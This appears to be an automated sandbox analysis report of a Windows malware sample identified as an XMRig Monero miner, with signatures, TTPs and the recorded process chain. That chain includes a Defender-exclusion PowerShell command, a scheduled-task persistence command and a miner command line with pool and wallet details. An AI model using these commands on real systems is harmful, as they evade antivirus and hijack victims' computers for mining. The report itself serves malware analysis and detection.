Analysis
- max time kernel
60s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
07/01/2023, 04:18
General
- Target file.exe
- Size 829KB
- Sample230107-ewyl8acf84
- SHA256 9ba9960dcd12bb6f11891dfef5f70269743a95f656b2c7b161fc36ba708c4dcb
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "C:\ProgramData\Explorer\VANOZ.exe"3⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1580-149-0x00007FFA67360000-0x00007FFA67E21000-memory.dmp
memory/1580-148-0x000001B379DF0000-0x000001B379E12000-memory.dmp
memory/1580-150-0x00007FFA67360000-0x00007FFA67E21000-memory.dmp
memory/1684-163-0x000001BDB2CC0000-0x000001BDB2CE0000-memory.dmp
memory/1684-166-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1684-165-0x000001BDB2D10000-0x000001BDB2D50000-memory.dmp
memory/1684-164-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1684-168-0x000001BDB2D50000-0x000001BDB2D70000-memory.dmp
memory/1684-162-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1684-161-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1684-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1684-167-0x000001BDB2D70000-0x000001BDB2D90000-memory.dmp
memory/1684-169-0x000001BDB2D70000-0x000001BDB2D90000-memory.dmp
memory/1684-170-0x000001BDB2D50000-0x000001BDB2D70000-memory.dmp
memory/2376-142-0x00007FFA68770000-0x00007FFA688BE000-memory.dmp
memory/2376-143-0x0000000000A20000-0x0000000000B5A000-memory.dmp
memory/2376-151-0x0000000000A20000-0x0000000000B5A000-memory.dmp
memory/2376-152-0x00007FFA67360000-0x00007FFA67E21000-memory.dmp
memory/2376-134-0x00007FFA84E00000-0x00007FFA84E9E000-memory.dmp
memory/2376-135-0x00007FFA80930000-0x00007FFA80942000-memory.dmp
memory/2376-155-0x00007FFA684B0000-0x00007FFA684E5000-memory.dmp
memory/2376-156-0x00007FFA62050000-0x00007FFA62152000-memory.dmp
memory/2376-157-0x00007FFA84620000-0x00007FFA8468B000-memory.dmp
memory/2376-158-0x00007FFA81DE0000-0x00007FFA81E1B000-memory.dmp
memory/2376-145-0x00007FFA67360000-0x00007FFA67E21000-memory.dmp
memory/2376-146-0x00007FFA82B70000-0x00007FFA82B97000-memory.dmp
memory/2376-144-0x0000000000C30000-0x0000000000C73000-memory.dmp
memory/2376-133-0x00007FFA68980000-0x00007FFA68A2A000-memory.dmp
memory/2376-141-0x0000000000A20000-0x0000000000B5A000-memory.dmp
memory/2376-140-0x0000000000A20000-0x0000000000B5A000-memory.dmp
memory/2376-139-0x00007FFA84B10000-0x00007FFA84B3B000-memory.dmp
memory/2376-138-0x00007FFA67360000-0x00007FFA67E21000-memory.dmp
memory/2376-137-0x00007FFA83530000-0x00007FFA836D1000-memory.dmp
memory/2376-136-0x00007FFA688C0000-0x00007FFA6897D000-memory.dmp